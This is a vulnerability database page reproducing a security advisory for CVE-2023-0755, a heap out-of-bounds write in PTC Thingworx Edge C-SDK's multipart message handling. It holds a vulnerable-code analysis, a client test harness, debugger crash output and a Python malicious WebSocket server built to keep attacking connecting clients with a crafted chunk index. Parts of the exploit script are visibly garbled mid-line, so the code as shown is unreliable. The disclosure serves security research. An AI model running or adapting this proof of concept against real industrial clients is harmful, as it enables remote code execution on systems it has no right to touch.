Lucene search
K

SRC-2023-0002 : PTC Thingworx Edge C-SDK mulitpartMessageStoreEntry_Create Array Indexing Out-of-Bounds Write Remote Code Execution Vulnerability

🗓️ 29 Mar 2022 00:00:00Reported by Chris Anastasio and Steven Seeley of Incite TeamType 
srcincite
 srcincite
🔗 srcincite.io👁 81 Views

PTC Thingworx Edge C-SDK Out-of-Bounds Write Remote Code Execution Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2023-0755
24 Feb 202300:48
circl
CNNVD
PTC ThingWorx Edge输入验证错误漏洞
23 Feb 202300:00
cnnvd
CVE
CVE-2023-0755
23 Feb 202321:23
cve
Cvelist
CVE-2023-0755
23 Feb 202321:23
cvelist
EUVD
EUVD-2023-12773
3 Oct 202520:07
euvd
ICS
PTC ThingWorx Edge
27 Feb 202320:46
ics
NVD
CVE-2023-0755
23 Feb 202322:15
nvd
OSV
CVE-2023-0755
23 Feb 202322:15
osv
Prion
Input validation
23 Feb 202322:15
prion
Positive Technologies
PT-2023-16504 · Softwarex · Softwarex
23 Feb 202300:00
ptsecurity
Rows per page
#!/usr/bin/env python3
"""
PTC Thingworx C-SDK mulitpartMessageStoreEntry_Create Array Indexing Out-of-Bounds Write Remote Code Execution Vulnerability
IDS: SRC-2023-0002, CVE-2023-0755
Download: https://developer.thingworx.com/-/media/developerportal/SDK_Files/C-SDK-2_2_12.zip
Found by: Chris Anastasio and Steven Seeley of Incite Team

# Summary:

An array indexing vulnerability exists in the parsing of multipart message responses. An attacker can leverage this to gain remote code execution against a vulnerable client in some contexts.

# Vulnerability Analysis:

Inside of the mulitpartMessageStoreEntry_Create function:

```c
mulitpartMessageStoreEntry * mulitpartMessageStoreEntry_Create(twMessage * msg) {
    mulitpartMessageStoreEntry * tmp = (mulitpartMessageStoreEntry *)TW_CALLOC(sizeof(mulitpartMessageStoreEntry), 1);
    twMultipartBody * mpBody = NULL;
    TW_LOG(TW_TRACE, "mulitpartMessageStoreEntry_Create: Creating message store array.");
    if (!msg || !msg->body) return NULL;
    mpBody = (twMultipartBody *)msg->body;
    /* Make sure the size of this message doesn't exceed our max size */
    if (mpBody->chunkCount * mpBody->chunkSize > twcfg.max_message_size) {
        TW_LOG(TW_ERROR,"mulitpartMessageStoreEntry_Create: Multipart message would exceed maximum message size");
        return NULL;
    }
    /* We want to store the messages in an ordered array for easy reasembly */
    tmp->msgs = (twMessage **)TW_CALLOC(sizeof(twMessage *) * mpBody->chunkCount, 1); // 1
    if (!tmp->msgs) {
        mulitpartMessageStoreEntry_Delete(tmp);
        TW_LOG(TW_ERROR, "mulitpartMessageStoreEntry_Create: Error allocating message store array. request: %d", msg->requestId);
        return NULL;
    }
    tmp->expirationTime = twGetSystemMillisecondCount() + twcfg.stale_msg_cleanup_rate;
    tmp->id = msg->requestId;
    tmp->chunksExpected = mpBody->chunkCount;
    tmp->chunksReceived = 1;
    tmp->msgs[mpBody->chunkId - 1] = msg; /* CHunk IDs are not zero based */ // 2
    TW_LOG(TW_TRACE, "mulitpartMessageStoreEntry_Create: Created message store array with chunk %d of %d.", mpBody->chunkId, mpBody->chunkCount);
    return tmp;
}
```

At [1] `tmp->msgs` is an allocation that is essentially controlled on size (0x20 * x, where x is a uint16). However, we can see at [2] that the `mpBody->chunkId` is another uint16 that is attacker controlled and is used to index an undersized array without checks during a write operation.

This can be leverage to write out of bounds on a heap buffer and gain remote code execution in some contexts.

# Proof of Concept:

The vulnerability was discovered in `KEPServerEX-6.11.718.0.exe` and later confirmed by crafting a vulnerable client using the provided C-SDK:

```c++
#define WIN32_LEAN_AND_MEAN
#include "twOSPort.h"
#include "twLogger.h"
#include "twApi.h"
#include "twFileManager.h"
#include "twTunnelManager.h"

#include#include#include#include#includeusing namespace std;

void appKeyCallback(char* appKeyBuffer, unsigned int maxLength) {
    strcpy_s(appKeyBuffer, maxLength, "717c9dc1-7b0f-4624-b3b9-aab3db6bcce0");
}

inline void wait_on_enter()
{
    std::string dummy;
    std::cout << "Enter to continue..." << std::endl;
    std::getline(std::cin, dummy);
}

int main(int argc, char* argv[])
{
    HMODULE dll_1 = LoadLibraryA("libcrypto-1_1.dll");
    HMODULE dll_2 = LoadLibraryA("libssl-1_1.dll");
    char* host;
    if (argc != 2) {
        std::cout << "(+) usage: " << argv[0] << "";
        exit(-1);
    }
    host = argv[1];
    std::cout << "(+) targeting " << host << "!\n";
    int err = 0;
    wait_on_enter();
    err = twApi_Initialize((char*)host, 8080, (char*)"/Thingworx/WS", appKeyCallback, (char*)"test", MESSAGE_CHUNK_SIZE, MESSAGE_CHUNK_SIZE, true);
    if (err) {
        std::cout << "(-) error initializing the API: " << GetLastError();
        exit(err);
    }

    // disable compression and encryption so we can sniff traffic
    twApi_DisableWebSocketCompression();
    twApi_SetGatewayType("IndustrialGateway");
    twApi_DisableEncryption();

    // setup our connection with 1 try
    err = twApi_Connect(1000, 1);
    if (err) {
        std::cout << "(-) connection failed! " << GetLastError() << "\n";
        exit(-1);
    }
    std::cout << "(+) connection succeeded!\n";
}
```

## Debugging:

Don't forget to enable page heap

```
0:003> .reload /f /i twCSdk.dll
*** WARNING: Unable to verify checksum for C:\Users\steve\source\repos\Poc\Debug\twCSdk.dll

0:003> g
ModLoad: 73910000 73962000   C:\Windows\SysWOW64\mswsock.dll
ModLoad: 75d60000 75dbf000   C:\Windows\SysWOW64\bcryptprimitives.dll
(262c.2888): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00ed78d8 ebx=00a38000 ecx=00f03df0 edx=0000ffff esi=00dbf84c edi=00dbf890
eip=70706c52 esp=00dbf84c ebp=00dbf858 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
twCSdk!mulitpartMessageStoreEntry_Create+0x132:
70706c52 894491fc        mov     dword ptr [ecx+edx*4-4],eax ds:002b:00f43de8=????????

0:000> kv
 # ChildEBP RetAddr      Args to Child              
00 00dbf858 707072f6     00ed78d8 00dbf8d4 cccccccc twCSdk!mulitpartMessageStoreEntry_Create+0x132 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessages.c @ 1068] 
01 00dbf890 70709ac6     00ed78d8 00dbf940 00dbf90c twCSdk!twMultipartMessageStore_AddMessage+0x426 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessages.c @ 1206] 
02 00dbf8d4 70708d67     00dbf8ec cccccccc 01cccccc twCSdk!handleMessage+0xc6 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessaging.c @ 162] 
03 00dbf8f8 706ea611     92f32a0c 0000017e 00dbf92b twCSdk!twMessageHandler_msgHandlerTask+0x207 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\messaging\twMessaging.c @ 359] 
04 00dbf940 706ec65e     00dbf960 00002710 00000000 twCSdk!sendMessageBlocking+0x161 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\api\twApi.c @ 492] 
05 00dbf96c 706e4b46     00dbf98c 00000000 00dbfa94 twCSdk!twApi_Authenticate+0xbe (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\api\twApi.c @ 1526] 
*** WARNING: Unable to verify checksum for C:\Users\steve\source\repos\Poc\Debug\Poc.exe
06 00dbf97c 00c26107     000003e8 00000001 00c21032 twCSdk!twApi_Connect+0x156 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\Documents\c-sdk-2.2.12.1052-development\src\api\twApi.c @ 1567] 
07 00dbfa94 00c26af3     00000002 00ec85b8 00ed3268 Poc!main+0x197 (FPO: [Non-Fpo]) (CONV: cdecl) [C:\Users\steve\source\repos\Poc\Poc\Poc.cpp @ 69] 
08 00dbfab4 00c26947     6ddbfdec 00c21032 00c21032 Poc!invoke_main+0x33 (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 78] 
09 00dbfb10 00c267dd     00dbfb20 00c26b78 00dbfb30 Poc!__scrt_common_main_seh+0x157 (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 
0a 00dbfb18 00c26b78     00dbfb30 752bfa29 00a38000 Poc!__scrt_common_main+0xd (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 331] 
0b 00dbfb20 752bfa29     00a38000 752bfa10 00dbfb8c Poc!mainCRTStartup+0x8 (FPO: [Non-Fpo]) (CONV: cdecl) [d:\a01\_work\10\s\src\vctools\crt\vcstartup\src\startup\exe_main.cpp @ 17] 
0c 00dbfb30 76ec7a9e     00a38000 ddc5aeee 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
0d 00dbfb8c 76ec7a6e     ffffffff 76ee8a59 00000000 ntdll!__RtlUserThreadStart+0x2f (FPO: [SEH])
0e 00dbfb9c 00000000     00c21032 00a38000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
```

"""
import socket
from base64 import b64encode
from hashlib import sha1
import struct
import re
HOST = '0.0.0.0'
PORT = 8080

FIN    = 0x80
OPCODE = 0x0f
MASKED = 0x80
PAYLOAD_LEN = 0x7f
PAYLOAD_LEN_EXT16 = 0x7e
PAYLOAD_LEN_EXT64 = 0x7f

OPCODE_CONTINUATION = 0x0
OPCODE_TEXT         = 0x1
OPCODE_BINARY       = 0x2
OPCODE_CLOSE_CONN   = 0x8
OPCODE_PING         = 0x9
OPCODE_PONG         = 0xA

#msgTypes
TW_MULTIPART_REQ  = 0x05

# msgCodeEnum
TWX_PUT  = 0x2
TWX_BIND = 0xa
TWX_SUCCESS = 0x40 # important for handler
# entityTypeEnum
TW_USERS = 0x32

# characteristicEnum
TW_PROPERTIES = 0x1

entityName = b"test"

def calculate_response_key(key):
    GUID = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'
    hash = sha1(key.encode() + GUID.encode())
    response_key = b64encode(hash.digest()).strip()
    return response_key.decode('ASCII')

def make_handshake_response(key):
    return \
      'HTTP/1.1 101\r\n'\
      'X-Content-Type-Options: nosniff\r\n' \
      'X-XSS-Protection: 1; mode=block\r\n' \
      'Content-Security-Policy: frame-ancestors \'self\'\r\n' \
      'X-Frame-Options: SAMEORIGIN\r\n' \
      'Upgrade: websocket\r\n'              \
      'Connection: Upgrade\r\n'             \
      'Sec-WebSocket-Accept: %s\r\n'        \
      '\r\n' % calculate_response_key(key)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()

    # keep attacking the server
    while True:
        conn, addr = s.accept()
        with conn:
            print('(+) connected by: ', addr)
            while True:
                data = conn.recv(1024)
                #print(data)
                if not data:
                    break

                # handle upgrade request
                if data.startswith(b"GET /Thingworx/WS"):
                    print("(+) sending upgrade response...")
                    match = re.search(b"Sec-WebSocket-Key: (.*)", data)
                    assert match, "(-) no Sec-WebSocket-Key found!"
                    key = match.group(1).rstrip()
                    conn.sendall(str.encode(make_handshake_response(key.decode())))

                # handle binary request
                if data.startswith(b"\x82") or data.startswith(b"\x8a"):
                    print("(+) sending exp response...")

                    """
                    typedef struct twMessage {
                        enum msgType type;
                        unsigned char version;
                        enum msgCodeEnum code;
                        uint32_t requestId;
                        uint32_t endpointId;
                        uint32_t sessionId;
                        char multipartMarker;
                        uint32_t length;
                        void * body;
                    } twMessage;
                    """

                    twMessage  = b""
                    twMessage += struct.pack("H", 0x0001)           # chunkCount
                    twMessage += struct.pack(">H", 0x0004)           # chunkSize
                    twMessage += struct.pack("= 126 and payload_length <= 65535:
                        header.append(FIN | OPCODE_BINARY)
                        header.append(PAYLOAD_LEN_EXT16)
                        header.extend(struct.pack(">H", payload_length))
                    conn.sendall(header + twMessage)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2023 00:00Current
9.8High risk
Vulners AI Score9.8
CVSS 3.19.8
EPSS0.08179
SSVC
81